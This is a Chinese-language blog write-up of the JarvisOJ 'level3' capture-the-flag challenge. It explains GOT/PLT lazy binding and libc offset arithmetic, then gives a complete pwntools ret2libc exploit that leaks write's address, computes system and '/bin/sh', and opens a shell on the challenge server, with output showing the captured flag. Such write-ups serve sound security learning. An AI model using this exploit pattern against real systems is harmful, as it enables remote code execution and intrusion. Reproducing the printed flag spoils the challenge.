jarvisoj level3

level3

將文件下載下來使用linux下的checksec進行檢查開啓了什麼安全機制

sun@ubuntu:~/Desktop/test$ checksec level3 
[*] '/home/sun/Desktop/test/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

開啓可棧中不能執行
將這個文件放入ida裏面可以看出這個文件裏面並沒有system函數和/bin/sh字符串,因此不能直接得出system函數的地址,我們可以知道還給了一個libc庫,可以在這個庫中尋找需要的函數和字符串。
在這裏插入圖片描述在這裏插入圖片描述可以很容易發現有溢出的漏洞,要想得到shell必須要執行system("/bin/sh")這樣的命令,因此這需要我們去構造。
在構造之前需要知道一個知識:在庫中兩個函數的偏移之差等於程序實際運行中這兩個函數在程序中的偏移之差。

首先因爲我們有這個共享庫,因此既我們能夠很容易得到在libc庫中函數的偏移量,使用ELF便能得到

因此只要能夠得到一個在程序運行中的函數地址便可以算出庫函數中任意函數在程序中的地址了。

接下來的問題便是得到一個函數的地址,在這之前需要知道在linux程序運行中有兩個表got表和plt表,這是當運行一個函數時需要使用到這兩個表,當第一次運行一個共享庫中的函數時,便會找到對應的plt表中的內容,這個內容是got表的地址,got表裏面的內容是plt表中的第二條指令,然後會在共享庫中尋找對應函數的地址,並將地址放入got表中,這便是延遲綁定,表示當運行時纔會確定一個共享庫函數的真實地址,當第二次使用這個函數時會直接使用got表中的內容當成函數的地址,這是因爲在第一次已經找到了,以後就可以直接使用了。

我們使用elf.symbols[‘write’]和elf.plt[‘write’]這個得到的結果是相同的,都是對應函數在plt表的地址(並不是plt表中的內容),當使用elf.plt[‘func’]會報錯這是因爲用戶自定義的函數不在這個表裏,elf.got[‘write’]這個返回對應函數got表的地址。

調用共享庫的函數都是調用的這個函數plt表的地址,然後會找到真正的函數地址。

下面便是這個題的答案

elf=ELF("./libc-2.19.so")
elf1=ELF("./level3")
p=remote("pwn2.jarvisoj.com",9879)
sys_addr_lib=elf.symbols['system']
bin_addr_lib=elf.search('/bin/sh').next()
wri_addr_lib=elf.symbols['write']
write_plt=elf1.symbols['write']
write_got=elf1.got['write']
read_plt=elf1.symbols['read']
func_addr=elf1.symbols['vulnerable_function']
payload1='a'*0x88+'AAAA'+p32(write_plt)+p32(func_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Input:\n")
p.sendline(payload1)
write_addr=u32(p.recv(4))
print type(write_addr)


sys_addr=write_addr-wri_addr_lib+sys_addr_lib
bin_addr=write_addr-wri_addr_lib+bin_addr_lib
p.recvuntil("Input:\n")
payload2='a'*0x88+'AAAA'+p32(sys_addr)+p32(2)+p32(bin_addr)
p.sendline(payload2)
p.interactive()


sun@ubuntu:~/Desktop/test$ python 3.py 
[*] '/home/sun/Desktop/test/libc-2.19.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/sun/Desktop/test/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to pwn2.jarvisoj.com on port 9879: Done
<type 'int'>
[*] Switching to interactive mode
$ ls
flag
level3
$ cat flag
CTF{d85346df5770f56f69025bc3f5f1d3d0}
$ 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章